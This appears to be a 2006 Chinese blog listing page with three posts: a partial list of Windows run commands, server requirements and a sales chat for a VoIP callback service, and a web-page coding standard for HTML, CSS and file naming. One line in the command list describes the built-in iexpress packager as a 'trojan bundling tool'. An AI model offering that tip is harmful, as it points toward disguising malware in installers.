ciadv.msc------索引服务程序
osk------------打开屏幕键盘
odbcad32-------ODBC数据源管理器
oobe/msoobe /a----检查XP是否激活
lusrmgr.msc----本机用户和组
logoff---------注销命令
iexpress-------木马捆绑工具,系统自带
Nslookup-------IP地址侦测器
fsmgmt.msc-----共享文件夹管理器
utilman--------辅助工具管理器
gpedit.msc-----组策略

posted @ 2006-06-13 11:30 高山流水 阅读(251) | 评论 (0)编辑 收藏

一、 WIN—GK

CPU2.8 内存 512M 硬盘 40G

Windows 2003   SP1 补丁

SQL2000 数据库   SP4 补丁

带宽:静态 IP  2--10M 带宽

功能说明: 4 web 管理平台 线数 100 线。主要用于发展代理商

二、 AVS1.37 软交换

CPU2.8 内存 1G 硬盘 40G

红帽子 LIUNX9.0

带宽:静态 IP  10-100M 带宽

功能说明:域管理,可接流量用户或发展最终用户,线数 500 线

三、 WIN-CALLBACK

CPU2.8 内存 1G 硬盘 40G

Windows 2003   SP1 补丁

SQL2000 数据库   SP4 补丁

带宽:静态 IP  10-100M 带宽

功能说明:手机模块预约,三级 web 管理界面,线数根据需要可定不同的回拨软件

家家通技术支持服务

家家通技术支援部提供有关的技术支持服务,技术支援部配有专职技术支持工程师,这些工程师均具有丰富的工程经验.技术支持服务的方式包括电话支持服务、远程支持服务和现场支持服务.

1、电话支持服务

家家通设立电话服务热线035-13789890   0351-3789892  0351-3789896,由专人接收和受理用户在使用和维护家家通集成的软硬件系统的过程中出现的设备故障申告、咨询以及技术服务请求,提供每周6天、每天9:00—21:00   12小时的电话技术指导服务.

同时,根据故障的类别、故障对系统性能和服务的影响,将用户服务请求按照紧迫性分级,根据故障服务请求等级的不同,承诺不同的响应时间和恢复时间.

2、远程支持

家家通通过自己的远程维护系统,以远程登陆等方式与用户所购买和使用家家通集成的软硬件系统建立远程维护连接,在远端对用户设备进行故障诊断,并向用户提供问题解决方案建议或维护服务,

家家通提供每周6天,每天9:00—21:00  12小时的远程支持服务.

3、故障排除

 家家通根据故障对用户业务造成的影响,将故障划分为二种级别,划分界定如下:

一级故障:主要指系统或设备在运行中出现系统瘫痪或服务中断,导致设备的基本功能不能实现或全面退化且不能远程维护的故障.

二级故障:主要指系统或设备在运行中出现的不直接影响服务,导致系统性能或服务部分退化且不能远程维护的故障.

家家通对每级故障,确定不同的现场响应时间:

故障级别 现场响应时间

一级故障3天之内

二级故障24小时之内


JJT-坐行天下  (2005-11-25 15:15:31)
你如果做系统的话只需要上一个做代理测试就可以了
JJT-坐行天下  (2005-11-25 15:15:10)
模块一般都是代理商自己上的
JJT-坐行天下  (2005-11-25 15:14:51)
一个680
卖卖:::::  (2005-11-25 15:09:51)
模块要多少钱
 
JJT-坐行天下  (2005-11-25 15:13:38)
另外你最好有静态的IP
JJT-坐行天下  (2005-11-25 15:13:19)
就是模块了
卖卖:::::  (2005-11-25 15:08:34)
除了服务器还要其他的硬件吗??
 
JJT-坐行天下  (2005-11-25 15:11:33)
5000元,给安装,教会你如何操作
卖卖:::::  (2005-11-25 15:06:19)
三、WIN-CALLBACK
CPU2.8内存1G硬盘40G
Windows 2003   SP1补丁
SQL2000数据库  SP4补丁
带宽:静态IP  10-100M带宽
功能说明:手机模块预约,三级web管理界面,线数根据需要可定不同的回拨软件


你们的收费大楷是多少?
 
 
JJT-坐行天下  (2005-11-25 15:10:02)
没时间
卖卖:::::  (2005-11-25 15:03:29)
你们自己应该做一个发展代理呀
 
JJT-坐行天下  (2005-11-25 15:07:21)
需要你自己买
JJT-坐行天下  (2005-11-25 15:07:01)
回拨还需要预约模块
卖卖:::::  (2005-11-25 15:02:05)
是不是在服务器上安装就可以了呢??
还要其他的硬件支持吗?
 
JJT-坐行天下  (2005-11-25 15:01:24)
接收文件保存于 C:\Documents and Settings\user\桌面\设备的配置及操作系统的要求.doc
卖卖:::::  (2005-11-25 15:01:19)
好的  谢谢
 
JJT-坐行天下  (2005-11-25 15:05:18)
你看一下这个
卖卖:::::  (2005-11-25 14:58:44)
这个我不好说  你说下吧
还有服务器有些什么要求?
 
JJT-坐行天下  (2005-11-25 15:02:07)
 
JJT-坐行天下  (2005-11-25 15:02:04)
你觉得多少呢?



Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=536787

posted @ 2006-06-13 10:57 高山流水 阅读(286) | 评论 (0)编辑 收藏

// 总 论

  本规范既是一个开发规范,也是一个脚本语言参考,本规范并不是一个一成不变的必须严格遵守的条文,特殊情况下要灵活运用,做一定的变通。但是,请大家千万不要随意更改规范。如果有任何问题,请及时与我联系,我会及时更改本规范的相关代码样例和文档。

/ 基 本 要 求

  1.在网站根目录中开设images、common、temp 三个子目录,根据需要再开设media 子目录,images目录中放不同栏目的页面都要用到的公共图片,例如公司的标志、banner 条、菜单、按钮等等;common 子目录中放css、js、php、include 等公共文件;temp 子目录放客户提供的各种文字图片等等原始资料;media 子目录中放flash、avi、quick time 等多媒体文件。

  2.在根目录中原则上应该按照首页的栏目结构,给每一个栏目开设一个目录,根据需要在每一个栏目的目录中开设一个images 和media 的子目录用以放置此栏目专有的图片和多媒体文件,如果这个栏目的内容特别多,又分出很多下级栏目,可以相应的再开设其他目录。

  3. temp 目录中的文件往往会比较多,建议以时间为名称开设目录,将客户陆续提供的资料归类整理。
 
  4. 除非有特殊情况,目录、文件的名称全部用小写英文字母、数字、下划线的组合,其中不得包含汉字、空格和特殊字符;目录的命名请尽量以英文为指导,不到万不得已不要以拼音作为目录名称,经验证明,用拼音命名的目录往往连一个月后的自己都看不懂,

/ 脚 本 编 写

  我们应该有一个脚本整体风格一致的概念,意思是一个月后和一个月前的你写的脚本风格保持一致,以及同一个工作组中不同的开发人员编写的脚本风格保持一致,因为我们不可能永远孤立的开发,你随时都有可能和三个月前的自己合作(你的客户要求改版),也经常要和工作室中不同的同事共同开发一个项目,还有可能被要求修改已经离职人员开发的脚本,当然你自己也有可能会扔下一个项目给后来的同事。

  1.html 文件的通用模板:
  <html>
  <!--
  Generator: Sub Design Studio ( http://www.eastline.net.cn)
  Creation Data: 2000-8-1
  Original Author: eastline
   -->
  <head>
  <title> 文档标题 </title>
  <meta http-equiv="content-type" content="text/html; charset=gb2312">
  <meta name="author" content="eastline">
  其他meta 标 记
  <link rel="stylesheet" type="text/css" href="style/style.css">
  样式表定义
  客户端javascript 函数定义及初始化操作
  </head>
  <body bgcolor="#ffffff">
  … …
  </body>
   </html>
  补充:
  为了保证网站能够与下一代的web语言xml标准兼容,所有的HTML标签的属性都要用单引号或者双引号括起,即我们应该写<a href="url">而不是 <a href=url>.

  2.允许全文检索的页面,为了使Internet 上的搜索引擎能够有效检索,在频道的首页的html的<head></head>之间应该加入Keywords 和Description 元标记,例如:
  <meta name=”keywords” content=”东方新干线,汽车,买车”>
  <meta name=”description” content=”东方新干劲线,全球中文汽车信息第一站”>

  3.CSS 文件的格式样例代码:
  <style type="text/css">
  <!—
  p { text-indent: 2em; }
  body { font-family: "宋体"; font-size: 9pt; color: #000000; margin-top: 0px; margin-right: 0px; margin-bottom:   0px; margin-left: 0px}
  table { font-family: "宋体"; font-size: 9pt; line-height: 20px; color: #000000}
  a:link { font-size: 9pt; color: #FFFFFF; text-decoration: none}
  a:visited { font-size: 9pt; color: #99FFFF; text-decoration: none}
  a:hover { font-size: 9pt; color: #FF9900; text-decoration: none}
  a:active { font-size: 9pt; color: #FF9900; text-decoration: none}
  a.1:link { font-size: 9pt; color: #3366cc; text-decoration: none}
  a.1:visited { font-size: 9pt; color: #3366cc; text-decoration: none}
  a.1:hover { font-size: 9pt; color: #FF9900; text-decoration: none}
  a.1:active { font-size: 9pt; color: #FF9922; text-decoration: none}
  .blue { font-family: "宋体"; font-size: 10.5pt; line-height: 20px; color: #0099FF; letter-spacing: 5em}
  -->
  </style>
  这里尤其要注意的是a:link a:visited a:hover a:actived 的排列顺序一定要严格照上面的样例代码,否则或多或少会出问题。另外我们规定重定义的最先,伪类其次,自定义最后,便于自己和他人阅读!

  为了保证不同浏览器上字号保持一致,字号建议用点数pt和像素px来定义,pt一般使用中文宋体的9pt 和11pt,px一般使用中文宋体12px 和14.7px 这是经过优化的字号,黑体字或者宋体字加粗时,一般选用11pt 和14.7px 的字号比较合适。

  4.在写 <table> 互相嵌套时,严格按照的规范,对于单独的一个<table>来说,<table><tr>对齐,<td> 缩进两个半角空格,<td> 中如果还有嵌套的表格?lt;table>也缩进两个半角空格,如果<td>中没有任何嵌套的表格,</td> 结束标记应该与 <td> 处于同一行,不要换行。

  如我们注意在源代码中不应有这样的代码:

  <td><img src="../images/sample.gif">
  </td>

  而应该是这样的:
<td><img src="../images/sample.gif"></td>

  这是因为浏览器认为换行相当于一个半角空格,以上不规范的写法相当于无意中增加一个半角空格,如果确实有必要增加一个半角空格,也应该这样写:

  <td><img src="../images/sample.gif"> </td>

  属于同一个级别的 <table> 一定是左首对齐的,另外不允许没有任何内容的空的单元格存在,高度大于等于12px 的单元格应该 在 <td> 和 </td> 之间写一个   如果高度小于12px, 则应该 在 <td> 和 </td> 之间插入一个1*1 大小的透明的gif 图片,这是因为某些浏览器认为空单元格非法而不会予以解释。如果代码顺序较乱,在DW中可以通过command->apply souce formatting进行重新整理!

  5. width 和height 的写法也有统一的规范,一般情况下只有一列的表格,width 写在<table> 的标签内,只有一行的表格,height 写在 <table> 的标签内,多行多列的表格,width 和height 写在第一行或者第一列的 <td> 标签内。总之遵循一条原则:不出现多于一个的控制同一个单元格大小的height 和width, 保证任何一个width 和height 都是有效的,也就是你改动代码中任何一个width 和height 的数值,都应该在浏览器中看到变化。做到这一条不容易,需要较长时间的练习和思考。

/ 一 般 原 则

  1. 在排布表格之前,请大家一定要好好思考一个最佳的方案,表格的嵌套尽量控制在三层以内,并且应该尽量避免 <colspan> <rowspan> 两个标记,经验表明,这两个标记会带来许多麻烦。

  2. 一个网页要尽量避免用整个一张大表格,所有的内容都嵌套在这个大表格之内,因为浏览器在解释页面的元素时,是以表格为单位逐一显示,如果一张网页是嵌套在一个大表格之内,那么很可能造成的后果就是,当浏览者敲入网址,他要先面对一片空白很长时间,然后所有的网页内容同时出现。如果必须这样做,请使用 <tbody>标记,以便能够使这个大表格分块显示。

  3. 排版中我们经常会遇到需要进行首行缩进的处理,不要使用   或者全角空格来达到效果,规范的做法是在样式表中定义 p { text-indent: 2em; } 然后给每一段加上 <p> 标记,注意,一般情况下,请不要省略 </p> 结束标记 。

  4. 原则上,我们禁止用 <img width=? height=?> 来人为干预图片显示的尺寸,而且建议 <img> 标签中不要带上width 和height 两个属性,这是因为制作过程中,图片往往需要反复的修改,这样可以避免人为干预图片显示的尺寸,尽可能的发挥浏览器自身的功能;但是这样的一个副作用是当网页还未加载图片时,不会留出图片的站位大小,可能会造成网页在加载过程中抖动(如果图片是插在一个固定大小的表格里的,不会有这个现象),尤其是当图片的尺寸较大时,这种现象会很明显,所以当预料到这种会明显导致网页抖动的情况会发生时,请大家务必在最后给 <img>附上 width 和 height 属性。

  5. 为了最大程度的发挥浏览器自动排版的功能,在一段完整的文字中请尽量不要使用 <br> 来人工干预分段。

  6. 不同语种的文字之间应该有一个半角空格,但避头的符号之前和避尾的符号之后除外汉字之间的标点要用全角标点,英文字母和数字周围的括号应该使用半角括号。

  7. 所有的字号都应该用样式表来实现,禁止在页面中出现 <font size=?> 标记。

  8. 请不要在网页中连续出现多于一个的   也尽量少使用全角空格(英文字符集下,全角空格会变成乱码),空白应该尽量使用 text-indent, padding, margin, hspace, vspace 以及透明的gif 图片来实现。

  9. 中英文混排时,我们尽可能的将英文和数字定义为verdana和arial两种字体。

  10. 行距建议用百分比来定义,常用的两个行距的值是line-height:120%/150%.

  11. 网站中的路径全部采用相对路径,一般链接到某一目录下的缺省文件的链接路径不必写全名,如我们不必这样:<a href="aboutus/index.htm"> 而可以这样:<a href="aboutus/">

  12、嵌入图形文本的使用较大的字体,建议不要在图形中包括文本。

  13、“网页大小”定义为网页的所有文件大小的总和,包括HTML文件和所有的嵌入的对象。用户喜欢快的而不是新奇的站点。对于解调器用户,网页大小保持在34K以下为合适。

/ 文 件 命 名 原 则

  1. 每一个目录中应该包含一个缺省的html 文件,文件名统一用index.htm

  2. 文件名称统一用小写的英文字母、数字和下划线的组合。

  3. 命名原则的指导思想一是使得你自己和工作组的每一个成员能够方便的理解每一个文件的意义,二是当我们在文件夹中使用“按名称排例”的命令时,同一种大类的文件能够排列在一起,以便我们查找、修改、替换、计算负载量等等操作 。

  4. 下面以“新闻”(包含“国内新闻”和“国际新闻”)这个栏目来说明html文件的命名原则:
  在根目录下开设news目录
  第一条缺省新闻取名index.htm
  所有属于“国内新闻”的新闻依次取名为:china_1.htm, china_2.htm, …
  所有属于“国际新闻”的新闻依次取名为:internation_1.htm, internation _2.htm, …
  如果文件的数量是两位数,请将前九个文件命名为:china_01.htm, china_02.htm 以保证所有的文件能够在文件夹中正确排序。

  5. 图片的命名原则遵循以下几条规范:
  名称分为头尾两两部分,用下划线隔开。
  头部分表示此图片的大类性质,例如广告、标志、菜单、按钮等等。
  一般来说:
  放置在页面顶部的广告、装饰图案等长方形的图片我们取名:banner
  标志性的图片我们取名为:logo
  在页面上位置不固定并且带有链接的小图片我们取名为button
  在页面上某一个位置连续出现,性质相同的链接栏目的图片我们取名:menu
  装饰用的照片我们取名:pic
  不带链接表示标题的图片我们取名:title
  依照此原则类推。
  尾部分用来表示图片的具体含义。
  下面是几个样例,大家应该能够一眼看明白图片的意义:
  banner_sohu.gif banner_sina.gif menu_aboutus.gif menu_job.gif title_news.gif logo_police.gif logo_national.gif   pic_people.jpg pic_hill.jpg.

posted @ 2006-06-13 10:53 高山流水 阅读(200) | 评论 (0)编辑 收藏

仅列出标题
共30页: 1 2 3 4 5 6 7 8 9 Last